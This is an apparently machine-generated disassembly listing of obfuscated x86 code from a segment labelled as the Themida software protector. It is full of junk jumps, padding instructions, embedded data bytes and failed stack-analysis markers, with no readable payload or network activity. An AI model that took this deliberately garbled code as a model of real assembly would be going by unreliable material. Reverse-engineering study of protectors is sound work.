xor [eax+7927340Fh], bl xchg dh, [ebp-3Bh] icebp loc_5CEB1F: ; CODE XREF: sub_5CEAAD+62j pop edx pop ebx jmp loc_5CEB2E ; --------------------------------------------------------------------------- dw 0E85Ch dd 9782D179h db 0BAh, 37h ; --------------------------------------------------------------------------- loc_5CEB2E: ; CODE XREF: sub_5CEAAD+74j jle loc_5CEB37 movsx edx, cx loc_5CEB37: ; CODE XREF: sub_5CEAAD:loc_5CEB2Ej pusha movzx edx, dx popa push edi pop eax and bx, 87D6h and ebx, 707295E6h push esi js $+6 pop ebx mov ax, 0FD62h jnp loc_5CEB77 pusha add dx, 0DC2Dh jmp loc_5CEB76 ; --------------------------------------------------------------------------- dw 570Ah dd 88099D4Dh, 0FB2C9ED9h, 6888E2D7h db 0E2h, 0A3h ; --------------------------------------------------------------------------- loc_5CEB76: ; CODE XREF: sub_5CEAAD+B4j popa loc_5CEB77: ; CODE XREF: sub_5CEAAD+A8j mov si, ax and di, 84E2h call sub_5CEB95 sub_5CEAAD endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- cmp eax, 8ACFA88Ah retn 5849h ; --------------------------------------------------------------------------- db 67h, 62h, 0E9h dd 0F895C7FEh db 0A1h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CEB95 proc near ; CODE XREF: sub_5CEAAD+D2p call near ptr sub_5CEBAA sub_5CEB95 endp ; --------------------------------------------------------------------------- pop edi push ebx cmp edx, esi xor [ebx-71h], esp xchg dh, [ebx] xchg ebp, [ebx-48C9A51Fh] inc edx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CEBAA proc far ; CODE XREF: sub_5CEB95p mov ax, cx pop ecx pop edi jb $+6 mov ecx, 1C5FF352h mov ecx, 8AE16E5h jmp loc_5CEBCF ; --------------------------------------------------------------------------- dd 853C12F3h, 8EC48009h db 4Fh, 0E2h, 0D0h ; --------------------------------------------------------------------------- loc_5CEBCF: ; CODE XREF: sub_5CEBAA+15j jmp loc_5CEBE0 ; --------------------------------------------------------------------------- jecxz short loc_5CEC21 pop eax dec ecx setalc cmpsd sub al, dl retf 4704h ; --------------------------------------------------------------------------- popf loc_5CEBE0: ; CODE XREF: sub_5CEBAA:loc_5CEBCFj call sub_5CEBF6 jmp far ptr 474Ah:0C343F15Ch sub_5CEBAA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor esi, [esi-7Ah] and al, 46h mov ds:9E541493h, eax ; =============== S U B R O U T I N E ======================================= sub_5CEBF6 proc near ; CODE XREF: sub_5CEBAA:loc_5CEBE0p and si, 6F3Bh pop edx adc bl, 81h jmp loc_5CEC0B ; --------------------------------------------------------------------------- dd 5F9074F9h db 5Eh, 63h, 0D2h ; --------------------------------------------------------------------------- loc_5CEC0B: ; CODE XREF: sub_5CEBF6+9j mov esi, ecx jge loc_5CEC16 mov si, cx loc_5CEC16: ; CODE XREF: sub_5CEBF6+17j pusha pusha push eax pop edi jmp loc_5CEC29 ; --------------------------------------------------------------------------- db 0Eh db 78h ; --------------------------------------------------------------------------- loc_5CEC21: ; CODE XREF: sub_5CEBAA+2Aj db 3Eh call far ptr 0A3EFh:0E31BA175h loc_5CEC29: ; CODE XREF: sub_5CEBF6+24j popa jmp loc_5CEC36 ; --------------------------------------------------------------------------- db 3Fh dd 0F28A5F9Ch db 97h, 0EAh ; --------------------------------------------------------------------------- loc_5CEC36: ; CODE XREF: sub_5CEBF6+34j popa push esi mov dx, cx pop ecx mov eax, edx movsx ecx, di mov dx, 4F9Bh call loc_5CEC5C xor al, 0DDh retn sub_5CEBF6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cld push ds dec ebx aad 4Dh and esi, [edx+32717F0Eh] setalc fidiv dword ptr [eax+eax] loc_5CEC5C: ; CODE XREF: sub_5CEBF6+4Fp jge loc_5CEC64 pusha popa loc_5CEC64: ; CODE XREF: Themida_:loc_5CEC5Cj pop edx stc call sub_5CEC7C sub [edi], cl inc esp or eax, 0CF0C5783h into cmp bh, ah mov bl, 0E4h ; --------------------------------------------------------------------------- dd 15088E67h ; =============== S U B R O U T I N E ======================================= sub_5CEC7C proc near ; CODE XREF: Themida_:005CEC66p sbb ch, 7Eh pop eax jmp loc_5CEC91 ; --------------------------------------------------------------------------- db 5Dh, 53h, 0B1h ; --------------------------------------------------------------------------- xchg ecx, [ecx-15h] mov eax, 7F77414Ch pusha loc_5CEC91: ; CODE XREF: sub_5CEC7C+4j sbb cx, 45B7h stc jmp loc_5CECA7 ; --------------------------------------------------------------------------- mov cr3, edx fcom st(1) push ebx add eax, 9DD38275h loc_5CECA7: ; CODE XREF: sub_5CEC7C+1Bj pusha mov si, 47A2h jmp loc_5CECBD ; --------------------------------------------------------------------------- db 9, 22h, 0C4h dd 0D211D220h, 1AFE7278h db 86h ; --------------------------------------------------------------------------- loc_5CECBD: ; CODE XREF: sub_5CEC7C+30j popa mov ebx, ecx adc di, 0BC27h mov esi, 28BC43C2h pusha pusha movzx eax, dx pusha popa popa sub edx, 790D41D5h popa mov di, 7D93h mov ecx, ebx mov ax, 52E5h mov edx, 7B320527h movsx esi, bx mov ecx, 4A3EE790h add bh, 62h pusha adc di, 1A86h jnb loc_5CED0C jmp loc_5CED0C ; --------------------------------------------------------------------------- db 90h db 0F4h, 88h, 0DAh dd 1C5D46B6h ; --------------------------------------------------------------------------- loc_5CED0C: ; CODE XREF: sub_5CEC7C+7Dj ; sub_5CEC7C+83j popa adc ebx, 24AA7B1Ah mov eax, 782329EEh movzx edi, dx mov eax, esi mov cx, 0C34Ah mov cx, 7D02h jmp loc_5CED39 ; --------------------------------------------------------------------------- dw 0E722h dd 37E6B9Dh, 12A73089h, 0F734DFE8h ; --------------------------------------------------------------------------- leave loc_5CED39: ; CODE XREF: sub_5CEC7C+A9j jnp loc_5CED44 sbb dx, 38F1h loc_5CED44: ; CODE XREF: sub_5CEC7C:loc_5CED39j mov esi, 1D6C6FECh push eax stc pop esi jp loc_5CED56 mov cx, 0B318h loc_5CED56: ; CODE XREF: sub_5CEC7C+D0j push edx mov esi, ecx pop ebx movzx edi, bx jnz loc_5CED69 jl $+6 loc_5CED69: ; CODE XREF: sub_5CEC7C+E1j jns loc_5CED88 push ebx jmp loc_5CED87 ; --------------------------------------------------------------------------- db 96h, 0Bh, 64h dd 0CE91548Dh, 8ED2976Ah, 6B36668Dh db 0D9h, 0AFh, 60h ; --------------------------------------------------------------------------- loc_5CED87: ; CODE XREF: sub_5CEC7C+F4j pop ecx loc_5CED88: ; CODE XREF: sub_5CEC7C:loc_5CED69j adc ch, 4 mov edx, 63612840h xor ecx, 0C596721h call sub_5CEDA1 cmpsb dec ecx les eax, [ecx+3Fh] push ebp sub_5CEC7C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CEDA1 proc near ; CODE XREF: sub_5CEC7C+11Ap mov dx, 0B6A6h pop eax pusha mov dl, 3Ch pusha pusha popa stc popa popa cld jmp loc_5CEDC9 ; --------------------------------------------------------------------------- db 6Ah, 8Eh, 15h dd 666312D8h, 1101993Ch, 0BEA64C27h, 27187A0Fh db 1Dh ; --------------------------------------------------------------------------- loc_5CEDC9: ; CODE XREF: sub_5CEDA1+Fj movzx eax, bx stc mov esi, 0E6283B4h jmp loc_5CEDDC ; --------------------------------------------------------------------------- and eax, 0F061C330h loc_5CEDDC: ; CODE XREF: sub_5CEDA1+31j mov di, 0ED7Bh jmp loc_5CEDF6 ; --------------------------------------------------------------------------- db 2 dup(71h), 6Ch dd 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h db 0BBh, 0D5h ; --------------------------------------------------------------------------- loc_5CEDF6: ; CODE XREF: sub_5CEDA1+3Fj jmp loc_5CEE01 ; --------------------------------------------------------------------------- db 0AAh dd 912FC7E8h ; --------------------------------------------------------------------------- push edi loc_5CEE01: ; CODE XREF: sub_5CEDA1:loc_5CEDF6j jmp loc_5CEE14 ; --------------------------------------------------------------------------- dw 21A5h dd 6E03D5D9h, 93E90141h, 0ED73CD3Ah ; --------------------------------------------------------------------------- loc_5CEE14: ; CODE XREF: sub_5CEDA1:loc_5CEE01j mov ax, 0BAC1h jmp loc_5CEE2E ; --------------------------------------------------------------------------- db 8Eh, 37h, 0BDh dd 0FB3B6628h, 0DF6BA74h, 244BE2Dh db 0FEh, 2Ah ; --------------------------------------------------------------------------- loc_5CEE2E: ; CODE XREF: sub_5CEDA1+77j mov ax, 4097h movzx eax, ax jge loc_5CEE41 xor esi, 3D3DC268h loc_5CEE41: ; CODE XREF: sub_5CEDA1+94j mov ax, bx jnb loc_5CEE58 jmp loc_5CEE58 ; --------------------------------------------------------------------------- db 5Eh dd 578C159Ah, 0DB13866Fh ; --------------------------------------------------------------------------- loc_5CEE58: ; CODE XREF: sub_5CEDA1+A3j ; sub_5CEDA1+A9j cmc mov esi, 2A3945D6h jnb loc_5CEE79 jmp loc_5CEE79 ; --------------------------------------------------------------------------- db 91h, 6Bh, 92h dd 83085C53h, 24D08260h, 0FCD3D398h db 8Eh ; --------------------------------------------------------------------------- loc_5CEE79: ; CODE XREF: sub_5CEDA1+BDj ; sub_5CEDA1+C3j xor al, 0DAh clc mov ch, dl pusha mov al, dh popa mov bx, 9E18h call near ptr loc_5CEE95+2 xchg eax, ebx mov [eax], esp and [esi+3D3F99E2h], ecx loc_5CEE95: ; CODE XREF: sub_5CEDA1+E6p adc dword ptr cs:[ebx+5Eh], 5Fh sub_5CEDA1 endp ; sp-analysis failed cld mov bx, cx mov eax, 70505FCAh call near ptr loc_5CEEB1+1 inc edx mov esp, 0CA7F4104h or edi, edi xchg eax, ebx loc_5CEEB1: ; CODE XREF: Themida_:005CEEA3p lock adc dx, 47C1h pop edi mov esi, eax movsx edx, ax js loc_5CEEC8 mov edx, 166FD7D1h loc_5CEEC8: ; CODE XREF: Themida_:005CEEBDj mov eax, 3687A544h add dl, 0B3h sbb edx, 16841FAFh mov ebx, 60D08B3Fh jmp loc_5CEEEF ; --------------------------------------------------------------------------- mov al, 30h db 64h push eax xchg edi, [esi-4DBF0782h] mov ebp, 413013B5h loc_5CEEEF: ; CODE XREF: Themida_:005CEEDBj mov di, 0AAB0h mov bl, 0FBh mov eax, ebx cmc stc movsx edx, dx cmc jg loc_5CEF06 adc cl, 0F4h loc_5CEF06: ; CODE XREF: Themida_:005CEEFDj jge loc_5CEF0F sbb bh, 69h loc_5CEF0F: ; CODE XREF: Themida_:loc_5CEF06j or ecx, 61B21621h mov ch, 0D3h mov ebx, edi pusha jle loc_5CEF26 jp $+6 loc_5CEF26: ; CODE XREF: Themida_:005CEF1Aj movzx edi, di popa jmp loc_5CEF43 ; --------------------------------------------------------------------------- db 5Fh dd 15EFA5B7h, 7254988Fh, 0C75DD342h, 49984A8Ah db 16h, 69h, 58h ; --------------------------------------------------------------------------- loc_5CEF43: ; CODE XREF: Themida_:005CEF2Aj mov si, di mov esi, 7E928205h ; CODE XREF: Themida_:005CEF8Fj pusha xor ecx, 2D74861Ah popa mov ecx, edi movzx esi, dx jmp loc_5CEF6C ; --------------------------------------------------------------------------- db 0E6h, 4Bh, 7Dh dd 0B8E0707Bh ; --------------------------------------------------------------------------- loc_5CEF64: ; CODE XREF: Themida_:005CEF92j imul ecx, [ebx-40h], -2Fh ; --------------------------------------------------------------------------- dd 0F1B1B52Bh ; --------------------------------------------------------------------------- loc_5CEF6C: ; CODE XREF: Themida_:005CEF58j mov ecx, eax mov eax, 30AA15ECh sub di, 5700h mov ch, al jnb loc_5CEF86 xor esi, 4076B4EEh loc_5CEF86: ; CODE XREF: Themida_:005CEF7Aj call near ptr sub_5CEF94 xchg eax, ebx xlat push 0FFFFFFF6h jge short near ptr loc_5CEF46+3 sahf jge short loc_5CEF64 ; =============== S U B R O U T I N E ======================================= sub_5CEF94 proc far ; CODE XREF: Themida_:loc_5CEF86p mov ax, 0B4AFh pop ebx clc jge loc_5CEFA7 pusha adc ah, 0EEh pusha popa popa loc_5CEFA7: ; CODE XREF: sub_5CEF94+6j jnz loc_5CEFB0 movzx ecx, bx loc_5CEFB0: ; CODE XREF: sub_5CEF94:loc_5CEFA7j call sub_5CEFC4 retf 28C6h sub_5CEF94 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 89h, 0FFh dw 0A213h dd 21451F85h, 6ABDD9F9h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CEFC4 proc near ; CODE XREF: sub_5CEF94:loc_5CEFB0p jmp sub_5CEFD7 sub_5CEFC4 endp ; --------------------------------------------------------------------------- db 49h, 95h, 0Ah ; --------------------------------------------------------------------------- popa cmp [edi-0Eh], edx cmp byte ptr [edx+7B02DB74h], 2Fh ; =============== S U B R O U T I N E ======================================= sub_5CEFD7 proc near ; CODE XREF: sub_5CEFC4j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005CF04F SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005CF0E4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005CF113 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005CF130 SIZE 0000001C BYTES pop edi cld jmp loc_5CEFED ; --------------------------------------------------------------------------- dw 324Dh dd 5A95195Ah, 34D64402h, 0D36C2E7Ch ; --------------------------------------------------------------------------- inc edi loc_5CEFED: ; CODE XREF: sub_5CEFD7+2j mov ax, 672Ch jmp loc_5CEFFF ; --------------------------------------------------------------------------- add al, 19h imul eax, esi sti shr [esp+esi-4+arg_0], 1 loc_5CEFFF: ; CODE XREF: sub_5CEFD7+1Aj mov dh, ch cmc adc ebx, 494D3420h jmp loc_5CF013 ; --------------------------------------------------------------------------- db 0DFh, 17h, 0A0h db 0B1h, 0F6h, 0Ah ; --------------------------------------------------------------------------- loc_5CF013: ; CODE XREF: sub_5CEFD7+31j js loc_5CF01C movzx edi, cx loc_5CF01C: ; CODE XREF: sub_5CEFD7:loc_5CF013j add ebx, 762E01FDh xor si, 414Eh mov dl, 0EFh mov cl, bh sub ah, 8 and ecx, 61F7E377h jnb loc_5CF04F call near ptr loc_5CF049+4 add eax, 1CF9EA23h xchg dh, dl pop ebx and esp, eax loc_5CF049: ; CODE XREF: sub_5CEFD7+63p xor eax, 0F9FE8D16h sub_5CEFD7 endp ; sp-analysis failed pop eax ; START OF FUNCTION CHUNK FOR sub_5CEFD7 loc_5CF04F: ; CODE XREF: sub_5CEFD7+5Dj mov ax, 8E53h xor dl, 16h movzx edi, ax mov edx, 30AC090Fh mov dx, 113Dh mov dh, 0B1h cmc mov esi, 5C303744h mov dh, 5Dh add cx, 5F3Ah add bh, 5Ch call near ptr loc_5CF07E+4 jno short loc_5CF0E4 adc [edi-17h], ebx loc_5CF07E: ; CODE XREF: sub_5CEFD7+9Dp rcl dword ptr [edx+0DE9BB51h], 1 ; END OF FUNCTION CHUNK FOR sub_5CEFD7 ; --------------------------------------------------------------------------- dd 30000000h, 0E9A5E1DCh, 0AAAD4FDFh, 0ACAECF6Ch, 0BA4CBA58h dd 0EE93875h, 95000000h, 483605FAh, 0BA346444h, 5AE966B6h dd 158B0F2Eh, 0E9000000h, 10h, 26801BB0h, 4BD551A4h, 0A2421BFAh dd 554B9EDEh, 7CECDE81h, 0BE665E7Ch, 81FCD9A2h, 7225FCEBh dd 8B0F575Dh, 19h, 14E9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CEFD7 loc_5CF0E4: ; CODE XREF: sub_5CEFD7+A2j add [ebp+4A3036BDh], cl push esi adc ebp, [ebx+5A39DACDh] pop esi lock push dword ptr [eax-6DE5DD31h] pop eax and cl, 0F0h jmp loc_5CF113 ; END OF FUNCTION CHUNK FOR sub_5CEFD7 ; --------------------------------------------------------------------------- dw 729Bh dd 9749AB6Fh, 0A4B251ABh, 0E7872F2Dh db 68h, 8Bh, 97h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CEFD7 loc_5CF113: ; CODE XREF: sub_5CEFD7+126j stc mov di, 6C54h mov edx, ecx add dx, 64A6h mov bl, 0F3h jmp loc_5CF130 ; END OF FUNCTION CHUNK FOR sub_5CEFD7 ; --------------------------------------------------------------------------- dw 4100h ; --------------------------------------------------------------------------- and eax, esi xchg eax, edi sahf retn 5595h ; --------------------------------------------------------------------------- cmpsb ; START OF FUNCTION CHUNK FOR sub_5CEFD7 loc_5CF130: ; CODE XREF: sub_5CEFD7+14Aj or eax, 509D335Ch call near ptr sub_5CF14C db 67h mov dh, 89h sub eax, 0C8B28D02h rep dec esp mov dl, 0D1h add eax, 1183871Bh ; END OF FUNCTION CHUNK FOR sub_5CEFD7 ; =============== S U B R O U T I N E ======================================= sub_5CF14C proc far ; CODE XREF: sub_5CEFD7+15Fp mov al, 0E3h pop eax cld pusha mov eax, edi mov ebx, edi popa jmp loc_5CF169 ; --------------------------------------------------------------------------- db 0A6h dd 0E800E6A1h, 0BA725CFDh, 0C0D6F8C4h db 0B2h ; --------------------------------------------------------------------------- loc_5CF169: ; CODE XREF: sub_5CF14C+Aj jmp loc_5CF17D ; --------------------------------------------------------------------------- dw 0C19Fh dd 3971191h, 23DB03B0h, 0E11C6260h db 65h ; --------------------------------------------------------------------------- loc_5CF17D: ; CODE XREF: sub_5CF14C:loc_5CF169j cld mov si, ax pusha cld adc cx, 0C077h popa movzx ebx, bx sub al, 8Bh jmp loc_5CF1A7 ; --------------------------------------------------------------------------- dd 729F2589h, 0E514E2ABh, 0E4703FB6h, 0A2D8C542h db 0CCh db 1Dh, 61h ; --------------------------------------------------------------------------- loc_5CF1A7: ; CODE XREF: sub_5CF14C+43j add eax, 5A2C1734h mov ecx, 6C1FCC43h jmp loc_5CF1C1 ; --------------------------------------------------------------------------- cmpsb mov ch, 4Eh xlat call dword ptr [ecx-42h] add [eax+63h], dl loc_5CF1C1: ; CODE XREF: sub_5CF14C+66j jmp loc_5CF1D6 ; --------------------------------------------------------------------------- dw 0EFBBh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0C5h, 0F7h, 0F0h dd 0B4255CDEh, 2B67E54h db 8, 79h ; --------------------------------------------------------------------------- loc_5CF1D6: ; CODE XREF: sub_5CF14C:loc_5CF1C1j adc bh, 0F6h call near ptr loc_5CF1E9+4 call far ptr 0F11h:0B9807469h aaa test [edx+ecx*8], cl loc_5CF1E9: ; CODE XREF: sub_5CF14C+8Dp mov eax, 660BF395h sub_5CF14C endp ; sp-analysis failed mov eax, ecx pop esi push edi sub cx, 0F780h pop ecx adc di, 4F94h sbb cl, 7Dh movsx edx, bx mov dl, 34h push eax mov di, 7BFFh pop ebx mov ah, bl jns loc_5CF219 sbb edx, 2D56AFB5h loc_5CF219: ; CODE XREF: Themida_:005CF20Dj pusha xor dx, 0EC47h pusha jmp loc_5CF22E ; --------------------------------------------------------------------------- db 26h, 70h, 0E5h dd 616961DAh db 5Eh, 0CDh ; --------------------------------------------------------------------------- loc_5CF22E: ; CODE XREF: Themida_:005CF220j stc popa popa jnb loc_5CF241 jmp loc_5CF241 ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- cmp edi, [ebp-15h] lodsb loc_5CF241: ; CODE XREF: Themida_:005CF231j ; Themida_:005CF237j mov eax, 21637C89h jmp loc_5CF25A ; --------------------------------------------------------------------------- db 91h dd 0F6D18554h, 0E06BAF6Ah, 5D83F32Dh ; --------------------------------------------------------------------------- mov bh, 93h loc_5CF25A: ; CODE XREF: Themida_:005CF246j movsx eax, cx pusha mov edi, ebx popa jmp loc_5CF273 ; --------------------------------------------------------------------------- dw 0BEB1h dd 0C7C806E0h, 21C5254Fh db 79h, 0A8h, 14h ; --------------------------------------------------------------------------- loc_5CF273: ; CODE XREF: Themida_:005CF261j jmp loc_5CF281 ; --------------------------------------------------------------------------- dd 14CD1565h, 1E1B767Eh db 28h ; --------------------------------------------------------------------------- loc_5CF281: ; CODE XREF: Themida_:loc_5CF273j jns loc_5CF28C or di, 0BD1Ah loc_5CF28C: ; CODE XREF: Themida_:loc_5CF281j or ah, 8 adc edi, 4AE108B3h call sub_5CF2A8 ; --------------------------------------------------------------------------- dw 90AAh dd 0CBCCF0F5h, 0C33025A0h, 9D18F061h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CF2A8 proc near ; CODE XREF: Themida_:005CF295p mov ebx, eax pop ebx push ecx or dl, 0A1h pop ecx adc bl, 56h mov dx, 0CDD5h adc di, 0EE16h sbb esi, 305F5A7Ah call sub_5CF2D7 cmp eax, 0BE217022h push eax push ecx jmp near ptr 1C83DB96h sub_5CF2A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- inc ebp ror byte ptr [ebx], 0DEh ; =============== S U B R O U T I N E ======================================= sub_5CF2D7 proc near ; CODE XREF: sub_5CF2A8+1Ap mov si, cx pop ebx mov dh, bh mov dx, si sbb esi, 5FA40A6Ah call near ptr loc_5CF2F8+1 in eax, dx in al, dx push 0FFFFFFBDh cmp eax, 917793D4h movzx edx, word ptr [ebp+40h] loc_5CF2F8: ; CODE XREF: sub_5CF2D7+Fp sub [ecx+52CD88D3h], eax sub_5CF2D7 endp ; sp-analysis failed sub eax, 0C8BF0F5Bh and edi, 39534AEFh mov di, ax mov edi, 2B6EADE5h mov ebx, 3E0EBB21h ja loc_5CF334 jmp loc_5CF334 ; --------------------------------------------------------------------------- db 45h, 0BAh, 0FDh dd 6E2B94E6h, 0E866C7B9h, 0A0D823D3h, 0BCC825A8h ; --------------------------------------------------------------------------- loc_5CF334: ; CODE XREF: Themida_:005CF316j ; Themida_:005CF31Cj jz loc_5CF355 jl loc_5CF355 jmp loc_5CF355 ; --------------------------------------------------------------------------- db 77h, 0B9h, 0CEh ; --------------------------------------------------------------------------- retn 0A365h ; --------------------------------------------------------------------------- mov eax, 433DD254h scasd stosb push esi mov bl, 25h loc_5CF355: ; CODE XREF: Themida_:loc_5CF334j ; Themida_:005CF33Aj ... add edx, 24A7E9BAh mov si, dx call sub_5CF374 dec ebp inc esp retf ; --------------------------------------------------------------------------- cmp [edx+1Bh], bh retn 0B3F0h ; --------------------------------------------------------------------------- dd 827D309Fh, 0D1BAE18Bh ; =============== S U B R O U T I N E ======================================= sub_5CF374 proc near ; CODE XREF: Themida_:005CF35Ep sbb dh, 0FFh pop edx mov cx, dx pusha jmp loc_5CF38D ; --------------------------------------------------------------------------- db 0D0h, 83h, 68h dd 694B317h, 0B07C96F4h db 82h ; --------------------------------------------------------------------------- loc_5CF38D: ; CODE XREF: sub_5CF374+8j jmp loc_5CF3A3 ; --------------------------------------------------------------------------- dw 421Fh dd 0A4676AFEh, 0C7B50980h, 0C3B13792h db 70h, 38h, 29h ; --------------------------------------------------------------------------- loc_5CF3A3: ; CODE XREF: sub_5CF374:loc_5CF38Dj popa mov dh, 5Ah mov cx, bx pusha cmc call near ptr loc_5CF3C3+1 popa movsb or bh, dl test [ecx-0EA6D82Ch], ah mov dh, 0A3h or dword ptr ds:0BE6DAD8h, 0FFFFFF94h loc_5CF3C3: ; CODE XREF: sub_5CF374+37p inc byte ptr [ecx+27288DC1h] sub_5CF374 endp ; sp-analysis failed js short loc_5CF42A popa mov esi, ebx jb loc_5CF3F2 jo loc_5CF3F2 call loc_5CF3F1 ffree st(2) xchg eax, edx db 64h stos byte ptr es:[edi] cmp eax, 0B06FB12Bh pop edi db 3Eh mov bh, 0BAh push edi std and ecx, eax loc_5CF3F1: ; CODE XREF: Themida_:005CF3DAp pop edx loc_5CF3F2: ; CODE XREF: Themida_:005CF3CEj ; Themida_:005CF3D4j mov bh, cl movzx ecx, si sub si, 419Dh mov esi, ebx ja loc_5CF414 jmp loc_5CF414 ; --------------------------------------------------------------------------- db 46h, 0FDh, 1Ah dd 0B7ED6243h, 0ADC39C23h ; --------------------------------------------------------------------------- loc_5CF414: ; CODE XREF: Themida_:005CF3FEj ; Themida_:005CF404j sub edi, 33E6BA89h sub ax, 0F37Ch jo loc_5CF426 stc loc_5CF426: ; CODE XREF: Themida_:005CF41Fj and dl, 27h pusha loc_5CF42A: ; CODE XREF: Themida_:005CF3C9j jmp loc_5CF43A ; --------------------------------------------------------------------------- db 95h dd 0B6EB2FC1h, 195246F5h db 1Dh, 2Ch ; --------------------------------------------------------------------------- loc_5CF43A: ; CODE XREF: Themida_:loc_5CF42Aj mov ebx, edi popa mov dh, al clc add si, 92B0h adc cl, 0A2h mov eax, 4F80335Ah movzx ecx, bx mov dx, 7163h jnb $+6 clc adc eax, 6F97DBD0h pusha call sub_5CF46C ; --------------------------------------------------------------------------- db 0FEh dd 923F0868h ; =============== S U B R O U T I N E ======================================= sub_5CF46C proc near ; CODE XREF: Themida_:005CF462p var_3E = byte ptr -3Eh ; FUNCTION CHUNK AT 005CF5AB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005CF5CF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005CF5EA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005CF61B SIZE 00000012 BYTES jnz $+6 pop edx popa pusha or ebx, 0C66B14h adc cx, 159Dh popa push edx pop edx mov ecx, 752DD95Ah jmp loc_5CF499 ; --------------------------------------------------------------------------- db 2Bh, 3, 64h dd 14408AC5h, 0B2B5F03h db 1Bh ; --------------------------------------------------------------------------- loc_5CF499: ; CODE XREF: sub_5CF46C+1Cj adc cx, 5F82h xor ebx, 6864A7BDh jb loc_5CF4BF pusha jmp loc_5CF4BE ; --------------------------------------------------------------------------- dd 0C4523383h, 0A04096D0h, 0B8363580h db 0F1h, 0C7h ; --------------------------------------------------------------------------- loc_5CF4BE: ; CODE XREF: sub_5CF46C+3Fj popa loc_5CF4BF: ; CODE XREF: sub_5CF46C+38j mov edx, 2C5205D5h add si, 3CC8h cld pusha push ebx adc ch, 7Ah pop eax jmp loc_5CF4E1 ; --------------------------------------------------------------------------- db 29h, 0D7h, 30h dd 0B70972A5h, 0D235D49Fh db 14h ; --------------------------------------------------------------------------- loc_5CF4E1: ; CODE XREF: sub_5CF46C+64j popa push ecx pusha adc ch, 2Eh jbe $+6 popa pop eax jmp loc_5CF500 ; --------------------------------------------------------------------------- dd 0C3D20A6Ch, 0C4F749CBh, 8AD4AE67h ; --------------------------------------------------------------------------- loc_5CF500: ; CODE XREF: sub_5CF46C+83j push ebx sbb si, 0FED3h pop ebx clc mov edx, edi jle loc_5CF524 jmp loc_5CF524 ; --------------------------------------------------------------------------- db 95h, 1Dh, 30h dd 6D24036Bh, 0FAB58A08h, 3ED50225h ; --------------------------------------------------------------------------- loc_5CF524: ; CODE XREF: sub_5CF46C+9Ej ; sub_5CF46C+A4j mov dx, 0ED25h mov cx, 4D06h push eax push esi or dl, 0C3h pop ebx pop eax pusha push esi movzx esi, cx pop edi sbb di, 19A1h popa mov eax, ecx add ax, 320Fh and ebx, 800DAA0h movzx ebx, si ; CODE XREF: Themida_:005CF58Bj cld movsx ecx, dx pusha call near ptr loc_5CF55D+1 dec edx jbe short loc_5CF5AB pop edx loc_5CF55D: ; CODE XREF: sub_5CF46C+E8p adc al, 0Fh sub_5CF46C endp ; sp-analysis failed add dword ptr [eax], 5B000000h ja loc_5CF570 or cx, 96D7h loc_5CF570: ; CODE XREF: Themida_:005CF565j popa jl loc_5CF57A movsx esi, cx loc_5CF57A: ; CODE XREF: Themida_:005CF571j push ebx call near ptr loc_5CF586+4 sbb edx, [edi+0C2D9B9Dh] loc_5CF586: ; CODE XREF: Themida_:005CF57Bp mov ebp, 0B817167Fh jecxz short near ptr loc_5CF54C+1 in eax, dx daa pop ebx pop eax jns loc_5CF59A mov bx, cx loc_5CF59A: ; CODE XREF: Themida_:005CF591j jg near ptr loc_5CF5B2+2 jmp near ptr loc_5CF5B2+2 ; --------------------------------------------------------------------------- db 0A9h, 5Dh, 55h db 5Eh, 99h, 83h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF46C loc_5CF5AB: ; CODE XREF: sub_5CF46C+EEj inc ebx aad 75h rcl [esp+ecx-8+var_3E], cl loc_5CF5B2: ; CODE XREF: Themida_:loc_5CF59Aj ; Themida_:005CF5A0j fisub word ptr [esi+66h] mov edi, 0D78BC5DBh pusha jmp loc_5CF5CF ; END OF FUNCTION CHUNK FOR sub_5CF46C ; --------------------------------------------------------------------------- dd 98331175h, 0E7EE73B8h, 617763D9h db 1Ch, 0AEh, 3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF46C loc_5CF5CF: ; CODE XREF: sub_5CF46C+14Fj sub bx, 0AF23h popa pusha jmp loc_5CF5EA ; END OF FUNCTION CHUNK FOR sub_5CF46C ; --------------------------------------------------------------------------- db 5Ah dd 1453F31h, 439BCB05h, 143D7D6Dh db 0EEh, 0C2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CF46C loc_5CF5EA: ; CODE XREF: sub_5CF46C+16Aj add ax, 9DC0h popa clc push edi mov bh, al pop edx sbb bh, 89h movzx edi, bx js loc_5CF604 add ch, 0F2h loc_5CF604: ; CODE XREF: sub_5CF46C+18Fj jmp loc_5CF61B ; END OF FUNCTION CHUNK FOR sub_5CF46C ; --------------------------------------------------------------------------- or dword ptr [edi], 7F9EAA27h inc ecx mov al, ds:0B28392BBh scasb cmp esi, edx xlat push edi nop ; START OF FUNCTION CHUNK FOR sub_5CF46C loc_5CF61B: ; CODE XREF: sub_5CF46C:loc_5CF604j jnp loc_5CF62E call sub_5CF62D push esi wait insb scasb adc esp, [ebx] cwde ; END OF FUNCTION CHUNK FOR sub_5CF46C ; =============== S U B R O U T I N E ======================================= sub_5CF62D proc near ; CODE XREF: sub_5CF46C+1B5p pop esi loc_5CF62E: ; CODE XREF: sub_5CF46C:loc_5CF61Bj cmc mov eax, edx jmp loc_5CF64A 